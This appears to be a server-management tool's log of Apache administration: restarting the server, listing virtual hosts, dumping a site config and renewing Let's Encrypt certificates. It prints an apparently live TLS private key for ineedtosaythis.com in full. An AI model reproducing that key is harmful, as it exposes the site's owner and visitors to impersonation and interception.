if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf= 1'
fi


2026-06-14 06:01:33: 

chmod 755 /tmp/pkp144327; /tmp/pkp144327; rm /tmp/pkp144327

2026-06-14 06:01:33: 




2026-06-14 06:01:33: 

PUT: /tmp/pkp408929

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-14 06:01:33: 

chmod 755 /tmp/pkp408929; /tmp/pkp408929; rm /tmp/pkp408929

2026-06-14 06:01:33: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:01:33: Establishing a connection
2026-06-14 06:01:33: 

PUT: /tmp/pkp283989

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-14 06:01:33: 

chmod 755 /tmp/pkp283989; /tmp/pkp283989; rm /tmp/pkp283989

2026-06-14 06:01:33: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:01:33: 

PUT: /tmp/pkp158871

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:01:33: 

chmod 755 /tmp/pkp158871; /tmp/pkp158871; rm /tmp/pkp158871

2026-06-14 06:01:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf	1310

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-14 06:01:33: 

PUT: /tmp/pkp820203

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:01:33: 

chmod 755 /tmp/pkp820203; /tmp/pkp820203; rm /tmp/pkp820203

2026-06-14 06:01:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt	7457
0b:de:cc:0f:42:8c:56:19:33:3a:fc:b9:b6:29:ca:1d

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBQist0Z0zdp64bmeAlWFv1CPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE0MDUwMzAwWhcNMjYwOTEyMDUwMjU5WjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDRsow3b2+X+bWhV7cm5qYUwOkIkki7ngLXvLOE+x0iAP8VW7+YJ3TKrGBy
qX1cONQuFQiBx8UUf74mYnxIR1WwksgkOCAq136MGQ14ao5XwT8HCrVgP+MjeW10
8u6dmCfZ38uF75zq1NGs5RTg2a2Yp2Kdl9UGdHzn54aeGTB2FKhD1qMS2S3FKplW
VWjswO9FKqpqn4P2oC4+C2w5Zx2hVvu04ynoA0/FrmaMD6UDS2BsyVlNd441zrzu
nvaZnMYjhJ4fjFmpVLIOM2Vw9AX+4FOhLyzMvF/FaaJeBjGmCReXHVnV9BW/sjNh
I1pYvzA83vzVfq8SGi7oUbvMi4CNAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
1oxGhTVkBchFfsQEPDS9XtV0APEwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJpbmVlZHRvc2F5dGhpcy5jb22CFnd3dy5p
bmVlZHRvc2F5dGhpcy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8xNi5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdwDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5S
zQAAAZ7EuJBjAAAEAwBIMEYCIQDEQ4tgcJZwHUZsJDvOIQinCPzSA46pFPOLRnzL
/hSdtgIhAJPEBnPOimlFG4pF0nx827inn88gULr0saSMxuMqvGkXAH0AJuNkblhp
ISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGexLiPowAIAAAFAB1uK+QEAwBG
MEQCIC79NxPTGhz34uwy4xEuUaZD1FpOUa18ITijVpmR4/acAiAi5BzTZsK9Ztum
n14p+bDG4gFI+vW2ZgIL0peQDSB4WTANBgkqhkiG9w0BAQsFAAOCAQEAlnKWl57g
wWBX7WkH6kXvnuV4i/n5Dn+ZadM1fL2xMuuX/QLX3ws65Udm/0pp+puQCehOOszc
7RSDZu62pup5A2I3tk0ZWTQugwseZqrzPXwACHqNUdWBqGGR0H/ICb619Iil7spS
RJvZMB9mnR+pbTRlml2jJLNI2pqQFAqPRi7t3743PssPXRB75cs5B8d2HchtSOrM
vuW3PjCCsokOspxMvHe6SqWANCCq9duvp21QjaZKSQnzoCmjp2YvVDDIbjbPxKLf
YHUwdMgZPS4iMolfISq33RrIMLDHn0dnBuKiBxL5y6Fz0H1vL7n16lK3ZJE3FLwx
Z7vlV56sfQOLSA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDRsow3b2+X+bWh
V7cm5qYUwOkIkki7ngLXvLOE+x0iAP8VW7+YJ3TKrGByqX1cONQuFQiBx8UUf74m
YnxIR1WwksgkOCAq136MGQ14ao5XwT8HCrVgP+MjeW108u6dmCfZ38uF75zq1NGs
5RTg2a2Yp2Kdl9UGdHzn54aeGTB2FKhD1qMS2S3FKplWVWjswO9FKqpqn4P2oC4+
C2w5Zx2hVvu04ynoA0/FrmaMD6UDS2BsyVlNd441zrzunvaZnMYjhJ4fjFmpVLIO
M2Vw9AX+4FOhLyzMvF/FaaJeBjGmCReXHVnV9BW/sjNhI1pYvzA83vzVfq8SGi7o
UbvMi4CNAgMBAAECggEADe1HtTh8MZx8GjoBuBPE+idhbWLjxubPZbB1aXKmZGyr
BFTf2b/dw0Z6sFrT2ypguH/H8nCdWkdtTk4nrBg6whukLw2gNfWHxM+2zpAgdzER
LyCgW62v4kUCsUFKJOLRsL1q3ltuhpp5o3vibK2LAz1eBhKVq2mp+wVBh6IAzzK2
E/KU36m1erIJyaEj0+z1HQTJzOTm6o/uoDDghM1a8/hBEuzcqbEWSvfnWJlLPiL5
+Q2IhP4W6NNsRw/2/3XQpnFrijXQMycVu6Zw6qeY0xPg0briT7of1tV5xhTn9rKf
JlkWLbbdp2dOiSxWW6OKLMU39RV31UOMHMUIvxglQQKBgQDqb/cT8qevglvhZmGa
sjvt4zSSTFJ6MWrD3NotABKLTFAt4eDKnp10LMFrzw1IsPGdEEn8bunbzjVMw93g
B0MGsoa4ulqqLoO7QtA8fOo/5WTgc7aFL73NJ25NAZ6kYckTS60np8j9lrs5L9OX
jPuJigL7pRA8QrxJRuvQEM+CzQKBgQDk/A862SEekFDQlz94MnHtXz3xeb4Rh/2Q
XgkoG9E04SSF31M6jt50jdKOwK1NjF/EBDC7VyiLbfncPdrmWOYQzrSaXQW+5DY8
kgCgCNzu2nlN5tik80GZW96B59EALm3paGzlWDHElPPdGEI3f1WeOITxsCxxTm9q
qF+1vil0wQKBgE56ytiXq8DaP83VyyjRL7S0EZ5EBHw5XMdSgIr98jdFhbXGXs0V
ihog/WMMviKucUOl906VBp55img3TWg4phxw2R6v67f6uEiQ1krZekWHklx9AAXX
9I7f+1G2EBhxT7Gw7LdQuL0Dn4tGUmvyWyYw2EzLdgLmSEezgS924TClAoGBANkr
ARqz0MhW4H5j44sQdKJGoM3Cw3OHAQGJXa/PagN3v5bDrgCsfOgXlWlT7UjN6AlU
XA9g4xARdlXdyByMlW29TOXVcVyQvauGYNdmcHqLc15hoHgYSM+0pHuZqss8PXuP
US/WDCU/i2TV2/8cYcwUGGnLxuqTE/IYy+Tm/BRBAoGAD3Vvsx1YhbV5R94yg57n
cvpqi6/RcsjWVvnPjtG02NHIZjRavZIjK1KAj2hle1NHU77C0svRo8dLI7omM1Ry
hR0UmrEskXDjJBOSglY+Bwfo80pvm74ZMJd/47rEEEaGPwQdZ23PPZzvWAHORtyp
V51uItqwYArDrtYuPwsh7Z8=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-14 06:01:33: Establishing a connection
2026-06-14 06:01:34: Establishing a connection
2026-06-14 06:01:34: 

PUT: /tmp/pkp953759

#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-14 06:01:34: 

chmod 755 /tmp/pkp953759; /tmp/pkp953759; rm /tmp/pkp953759

2026-06-14 06:01:34: 


1


2026-06-14 06:01:35: Establishing a connection
2026-06-14 06:01:35: 

PUT: /tmp/pkp995396

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cat > bPfqeJ9YVAwlpI38slmR3CCy2rIVGvsKuFrvkSf_ViY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bPfqeJ9YVAwlpI38slmR3CCy2rIVGvsKuFrvkSf_ViY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bPfqeJ9YVAwlpI38slmR3CCy2rIVGvsKuFrvkSf_ViY
cat > eJmZU0YnDS2w4bN2cqP0PCN-9C20e4GUXlXxXIVqvXA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
eJmZU0YnDS2w4bN2cqP0PCN-9C20e4GUXlXxXIVqvXA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 eJmZU0YnDS2w4bN2cqP0PCN-9C20e4GUXlXxXIVqvXA
cat > fW8qEjZ5crtGvca18k3HcL0QeIVUofW3Ztoy_mOq--0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fW8qEjZ5crtGvca18k3HcL0QeIVUofW3Ztoy_mOq--0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fW8qEjZ5crtGvca18k3HcL0QeIVUofW3Ztoy_mOq--0
cat > 1DB9pUIXNp45L0JQMc6yKQGAEMZHcnpbmu1_OBvMSc4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1DB9pUIXNp45L0JQMc6yKQGAEMZHcnpbmu1_OBvMSc4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1DB9pUIXNp45L0JQMc6yKQGAEMZHcnpbmu1_OBvMSc4
cat > OiQx6XxpVro8hL90tmprrsFpzGu9EvLeiKWJXVHA_vY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OiQx6XxpVro8hL90tmprrsFpzGu9EvLeiKWJXVHA_vY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OiQx6XxpVro8hL90tmprrsFpzGu9EvLeiKWJXVHA_vY
cat > iJnQlhjSh9bygpwiKVjMmWlRmaHb_rjD8OTUAB5uEA8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
iJnQlhjSh9bygpwiKVjMmWlRmaHb_rjD8OTUAB5uEA8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 iJnQlhjSh9bygpwiKVjMmWlRmaHb_rjD8OTUAB5uEA8


2026-06-14 06:01:35: 

chmod 755 /tmp/pkp995396; /tmp/pkp995396; rm /tmp/pkp995396

2026-06-14 06:01:35: 




2026-06-14 06:02:17: Establishing a connection
2026-06-14 06:02:17: 

PUT: /tmp/pkp315517

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
rm bPfqeJ9YVAwlpI38slmR3CCy2rIVGvsKuFrvkSf_ViY
rm eJmZU0YnDS2w4bN2cqP0PCN-9C20e4GUXlXxXIVqvXA
rm fW8qEjZ5crtGvca18k3HcL0QeIVUofW3Ztoy_mOq--0
rm 1DB9pUIXNp45L0JQMc6yKQGAEMZHcnpbmu1_OBvMSc4
rm OiQx6XxpVro8hL90tmprrsFpzGu9EvLeiKWJXVHA_vY
rm iJnQlhjSh9bygpwiKVjMmWlRmaHb_rjD8OTUAB5uEA8


2026-06-14 06:02:18: 

chmod 755 /tmp/pkp315517; /tmp/pkp315517; rm /tmp/pkp315517

2026-06-14 06:02:18: 




2026-06-14 06:02:18: Establishing a connection
2026-06-14 06:02:18: 

PUT: /tmp/pkp112716

#!/bin/bash
temp_file=$(mktemp)
TARGET=b58195725e6aa43652c67a8009fa0881.crt

cat > $temp_file <<'endmsg'
b5:61:3c:ee:0c:43:f6:07:49:21:d6:2a:50:89:f2:06

-----BEGIN CERTIFICATE-----
MIIFdTCCBF2gAwIBAgISBVMcSCMj9eg/7aRpxAWzhetrMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
